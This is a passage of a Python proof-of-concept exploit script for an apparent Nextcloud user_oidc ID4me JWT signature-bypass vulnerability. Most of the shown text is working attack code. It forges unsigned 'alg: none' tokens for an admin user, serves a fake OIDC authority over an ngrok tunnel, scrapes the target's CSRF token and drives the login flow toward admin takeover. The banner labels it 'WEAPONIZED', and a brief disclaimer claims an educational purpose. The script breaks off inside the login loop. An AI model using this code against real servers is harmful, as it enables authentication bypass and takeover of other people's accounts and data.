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| #!/usr/bin/env python3
"""
=====================================================================
CVE-2026-45156: Nextcloud user_oidc ID4me JWT Signature Bypass
Proof of Concept (PoC) Exploit Script
Author: CyberTechAjju
Vulnerability : Missing JWT signature verification
File : lib/Controller/Id4meController.php (Lines 248-252)
Impact : Authentication bypass -> Admin takeover
Usage: python nextcloud_id4me_poc.py <LAB_URL> [--user admin]
Example: python nextcloud_id4me_poc.py https://target.lab
===================================================================
LEGAL DISCLAIMER:
This Proof of Concept (PoC) script is provided for EDUCATIONAL
AND AUTHORIZED SECURITY TESTING PURPOSES ONLY. It is intended for
security researchers and bug bounty hunters to test systems they
have explicit permission to audit. Any unauthorized use of this
tool against systems you do not own or have permission to test is
strictly prohibited and may be illegal. The author is not
responsible for any misuse or damage caused by this tool.
===================================================================
"""
import base64
import json
import os
import re
import socket
import sys
import time
import threading
import urllib.parse
from http.server import HTTPServer, BaseHTTPRequestHandler
try:
import requests
requests.packages.urllib3.disable_warnings()
except ImportError:
print("\n [!] Missing: pip install requests\n")
sys.exit(1)
try:
from pyngrok import ngrok, conf as ngrok_conf
except ImportError:
print("\n [!] Missing: pip install pyngrok\n")
sys.exit(1)
# ============================================
# CONSOLE
# ============================================
class C:
R = "\033[91m"; G = "\033[92m"; Y = "\033[93m"
CN = "\033[96m"; B = "\033[1m"; D = "\033[2m"
X = "\033[0m"
def info(m): print(f" {C.CN}[*]{C.X} {m}")
def ok(m): print(f" {C.G}[+]{C.X} {m}")
def warn(m): print(f" {C.Y}[!]{C.X} {m}")
def fail(m): print(f" {C.R}[-]{C.X} {m}")
def step(n,m): print(f"\n {C.Y}{C.B}{'='*55}\n [{n}] {m}\n {'='*55}{C.X}\n")
def banner():
import time
import sys
# Hide cursor
sys.stdout.write('\033[?25l')
red = "\033[38;5;196m"
dark_red = "\033[38;5;124m"
neon_red = "\033[38;5;9m"
white = "\033[97m"
bold = "\033[1m"
reset = "\033[0m"
glitch_frames = [
f"{red} [x] INITIALIZING EXPLOIT PAYLOAD...{reset}",
f"{dark_red} [!] BYPASSING JWT SIGNATURE CHECKS...{reset}",
f"{neon_red} [>] INJECTING FORGED TOKENS...{reset}",
f"{red} [+] ACCESS GRANTED.{reset}"
]
print("\n")
for frame in glitch_frames:
sys.stdout.write(f"\r{frame}")
sys.stdout.flush()
time.sleep(0.4)
print("\n")
hacker_art = f"""{bold}{neon_red}
██████╗ ██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗
██╔════╝ ██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████╗
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝ {reset}
"""
for line in hacker_art.split('\n'):
print(line)
time.sleep(0.05)
print(f"""{bold}{white}
╔═══════════════════════════════════════════════════════════════╗
║ {neon_red}Nextcloud user_oidc - ID4me JWT Signature Bypass PoC{white} ║
║ Fully Automated + Ngrok Tunnel Framework ║
║ Targeting: Id4meController.php (Lines 248-252) ║
║ ║
║ {dark_red}Author:{white} CyberTechAjju ║
║ {dark_red}Status:{white} WEAPONIZED ║
╚═══════════════════════════════════════════════════════════════╝{reset}
""")
# Show cursor
sys.stdout.write('\033[?25h')
time.sleep(0.5)
# ============================================
# JWT FORGERY
# ============================================
def b64url(data):
if isinstance(data, str):
data = data.encode()
return base64.urlsafe_b64encode(data).decode().rstrip("=")
def forge_jwt(user, issuer="https://attacker.id4me"):
h = json.dumps({"alg": "none", "typ": "JWT"})
p = json.dumps({
"sub": user,
"exp": 9999999999,
"iat": int(time.time()),
"aud": "nextcloud",
"iss": issuer,
"nonce": "poc",
"email": f"{user}@exploit.poc",
"preferred_username": user,
})
return f"{b64url(h)}.{b64url(p)}."
# ============================================
# FAKE ID4ME OIDC SERVER
# ============================================
class SharedState:
target_user = "admin"
public_url = "" # ngrok public URL
token_requested = False # did target hit /token?
token_sent = "" # JWT we sent back
auth_redirected = False # did we redirect back?
requests_log = [] # all requests received
class OIDCHandler(BaseHTTPRequestHandler):
def log_message(self, *_): pass
def _json(self, obj, code=200):
body = json.dumps(obj).encode()
self.send_response(code)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", len(body))
self.send_header("Access-Control-Allow-Origin", "*")
self.end_headers()
self.wfile.write(body)
def do_GET(self):
path = urllib.parse.urlparse(self.path).path
query = dict(urllib.parse.parse_qsl(urllib.parse.urlparse(self.path).query))
SharedState.requests_log.append(("GET", path, query))
ok(f" OIDC Server <-- GET {path}")
if path == "/.well-known/openid-configuration":
base = SharedState.public_url
self._json({
"issuer": base,
"authorization_endpoint": f"{base}/authorize",
"token_endpoint": f"{base}/token",
"jwks_uri": f"{base}/jwks",
"userinfo_endpoint": f"{base}/userinfo",
"response_types_supported": ["code"],
"subject_types_supported": ["public"],
"id_token_signing_alg_values_supported": ["none", "RS256"],
"scopes_supported": ["openid", "profile", "email"],
})
ok(" --> Sent OpenID Configuration")
elif path == "/authorize":
redirect_uri = query.get("redirect_uri", "")
state = query.get("state", "")
if redirect_uri:
sep = "&" if "?" in redirect_uri else "?"
loc = f"{redirect_uri}{sep}code=FORGED_AUTH_CODE&state={state}"
self.send_response(302)
self.send_header("Location", loc)
self.end_headers()
SharedState.auth_redirected = True
ok(f" --> Redirected back with forged auth code")
ok(f" --> To: {loc[:100]}")
else:
self._json({"error": "missing redirect_uri"}, 400)
elif path == "/jwks":
self._json({"keys": []})
elif path == "/userinfo":
self._json({
"sub": SharedState.target_user,
"email": f"{SharedState.target_user}@exploit.poc",
"preferred_username": SharedState.target_user,
"name": SharedState.target_user,
})
ok(f" --> Sent userinfo for: {SharedState.target_user}")
else:
self.send_error(404)
def do_POST(self):
path = urllib.parse.urlparse(self.path).path
content_len = int(self.headers.get("Content-Length", 0))
body = self.rfile.read(content_len).decode() if content_len else ""
SharedState.requests_log.append(("POST", path, body))
ok(f" OIDC Server <-- POST {path}")
if path == "/token":
jwt = forge_jwt(SharedState.target_user, SharedState.public_url)
SharedState.token_requested = True
SharedState.token_sent = jwt
self._json({
"access_token": "fake_access_token_poc",
"token_type": "Bearer",
"expires_in": 3600,
"id_token": jwt,
"scope": "openid profile email",
})
ok(f" --> FORGED JWT SENT for user: {SharedState.target_user}")
ok(f" --> Token: {jwt[:60]}...")
else:
self.send_error(404)
def start_oidc_server(port=9999):
srv = HTTPServer(("0.0.0.0", port), OIDCHandler)
t = threading.Thread(target=srv.serve_forever, daemon=True)
t.start()
return srv
# ============================================
# NGROK TUNNEL
# ============================================
def start_ngrok_tunnel(port=9999):
"""Start ngrok tunnel and return public HTTPS URL"""
info("Starting ngrok tunnel...")
info(f"Tunneling localhost:{port} to public URL...")
try:
# Kill any existing ngrok
ngrok.kill()
time.sleep(1)
# Start tunnel
tunnel = ngrok.connect(port, "http")
public_url = tunnel.public_url
# Force HTTPS
if public_url.startswith("http://"):
public_url = public_url.replace("http://", "https://", 1)
ok(f"Ngrok tunnel active!")
ok(f"Public URL: {C.B}{public_url}{C.X}")
ok(f"Local: http://localhost:{port}")
return tunnel, public_url
except Exception as e:
fail(f"Ngrok failed: {e}")
fail("Make sure ngrok is configured: ngrok config add-authtoken <YOUR_TOKEN>")
fail("Get free token at: https://dashboard.ngrok.com/signup")
return None, None
# ============================================
# SCANNER + EXPLOITER
# ============================================
class NextcloudExploit:
def __init__(self, target):
self.target = target.rstrip("/")
if not self.target.startswith("http"):
self.target = f"http://{self.target}"
self.s = requests.Session()
self.s.verify = False
self.s.headers["User-Agent"] = (
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
"AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/125.0.0.0 Safari/537.36"
)
self.version = None
self.id4me_active = False
self.vuln_confirmed = False
# -- Phase 1: Detect --
def detect_nextcloud(self):
step(1, "DETECTING NEXTCLOUD")
try:
r = self.s.get(f"{self.target}/status.php", timeout=15)
if r.status_code == 200:
data = r.json()
self.version = data.get("versionstring", data.get("version", "?"))
ok(f"Nextcloud v{C.B}{self.version}{C.X}")
ok(f"Product: {data.get('productname', 'Nextcloud')}")
return True
except:
pass
try:
r = self.s.get(f"{self.target}/login", timeout=15)
if "nextcloud" in r.text.lower():
ok("Nextcloud login page found")
self.version = "unknown"
return True
except Exception as e:
fail(f"Connection error: {e}")
fail("Not a Nextcloud instance!")
return False
# -- Phase 1.5: Extract CSRF Token --
def grab_csrf_token(self):
step("1b", "EXTRACTING CSRF TOKEN")
try:
r = self.s.get(f"{self.target}/login", timeout=10)
# Method 1: data-requesttoken attribute
m = re.search(r'data-requesttoken="([^"]+)"', r.text)
if m:
self.csrf_token = m.group(1)
ok(f"CSRF token (data-requesttoken): {self.csrf_token[:30]}...")
return True
# Method 2: head[data-requesttoken]
m = re.search(r"requesttoken\s*[=:]\s*[\"']([^\"']+)", r.text)
if m:
self.csrf_token = m.group(1)
ok(f"CSRF token (regex): {self.csrf_token[:30]}...")
return True
# Method 3: meta tag
m = re.search(r'<meta[^>]*requesttoken[^>]*content="([^"]+)"', r.text, re.I)
if m:
self.csrf_token = m.group(1)
ok(f"CSRF token (meta): {self.csrf_token[:30]}...")
return True
# Method 4: inline JS
m = re.search(r'oc_requesttoken\s*=\s*["\']([^"\']+)', r.text)
if m:
self.csrf_token = m.group(1)
ok(f"CSRF token (JS): {self.csrf_token[:30]}...")
return True
warn("CSRF token not found on login page")
# Try getting it from a cookie or header
if 'nc_token' in self.s.cookies:
self.csrf_token = self.s.cookies['nc_token']
ok(f"CSRF token (cookie): {self.csrf_token[:30]}...")
return True
except Exception as e:
fail(f"Error grabbing CSRF: {e}")
self.csrf_token = ""
return False
# -- Phase 2: Check ID4me --
def detect_id4me(self):
step(2, "CHECKING user_oidc & ID4me")
found = []
# Login page check
try:
r = self.s.get(f"{self.target}/login", timeout=10)
if "id4me" in r.text.lower():
found.append("ID4me on login page")
if "user_oidc" in r.text.lower():
found.append("user_oidc on login page")
except:
pass
# Endpoint probing
eps = [
"/index.php/apps/user_oidc/id4me",
"/index.php/apps/user_oidc/id4me/code",
"/apps/user_oidc/id4me",
"/apps/user_oidc/id4me/code",
]
for ep in eps:
try:
r = self.s.get(f"{self.target}{ep}", timeout=8, allow_redirects=False)
if r.status_code != 404:
found.append(f"{ep} -> HTTP {r.status_code}")
except:
pass
# OIDC API
try:
r = self.s.get(
f"{self.target}/ocs/v2.php/apps/user_oidc/api/v1/providers",
headers={"OCS-APIRequest": "true"}, timeout=8)
if r.status_code != 404:
found.append(f"OIDC API -> HTTP {r.status_code}")
except:
pass
if found:
for f_ in found:
ok(f_)
self.id4me_active = True
return True
fail("ID4me NOT found")
return False
# -- Phase 3: Forge JWT --
def show_forged_token(self, user):
step(3, "FORGING JWT TOKEN")
token = forge_jwt(user)
parts = token.split(".")
header = json.loads(base64.urlsafe_b64decode(parts[0] + "=="))
payload = json.loads(base64.urlsafe_b64decode(parts[1] + "=="))
ok(f"Target user: {C.B}{user}{C.X}")
ok(f"Algorithm: {C.R}none (no signature!){C.X}")
info(f"Header: {json.dumps(header)}")
info(f"Payload: {json.dumps(payload)}")
info(f"Token: {C.D}{token[:70]}...{C.X}")
return token
# -- Phase 4: Ngrok + Exploit --
def exploit_with_ngrok(self, user, port=9999):
step(4, "STARTING ATTACK INFRASTRUCTURE")
# Start fake OIDC server
info("Starting fake OIDC authority server...")
srv = start_oidc_server(port)
ok(f"OIDC server running on port {port}")
print()
# Start ngrok tunnel
tunnel, public_url = start_ngrok_tunnel(port)
if not public_url:
fail("Cannot proceed without ngrok tunnel!")
fail("Run: ngrok config add-authtoken <YOUR_TOKEN>")
srv.shutdown()
return False
# Set shared state
SharedState.target_user = user
SharedState.public_url = public_url
SharedState.token_requested = False
SharedState.auth_redirected = False
SharedState.requests_log = []
print()
info(f"Fake authority public URL: {C.B}{public_url}{C.X}")
info(f"Target will connect to this URL for OIDC flow")
# --- EXPLOIT ---
step(5, "EXPLOITING - FULL ID4me LOGIN FLOW")
ngrok_domain = urllib.parse.urlparse(public_url).hostname
# Build headers with CSRF token
csrf_headers = {
"requesttoken": self.csrf_token,
"OCS-APIRequest": "true",
"X-Requested-With": "XMLHttpRequest",
"Origin": self.target,
"Referer": f"{self.target}/login",
}
info(f"Using CSRF token: {self.csrf_token[:30]}...")
info(f"Ngrok domain: {ngrok_domain}")
print()
# Method A: Trigger ID4me login with CSRF token
info("Method A: ID4me login with CSRF token...")
id4me_identifiers = [
f"exploit@{ngrok_domain}",
f"{ngrok_domain}",
f"admin@{ngrok_domain}",
f"test@{ngrok_domain}",
]
login_eps = [
"/index.php/apps/user_oidc/id4me",
"/apps/user_oidc/id4me",
]
for ep in login_eps:
for identifier in id4me_identifiers:
try:
# POST with CSRF token in header
r = self.s.post(
f"{self.target}{ep}",
data={"id4me_identifier": identifier},
|
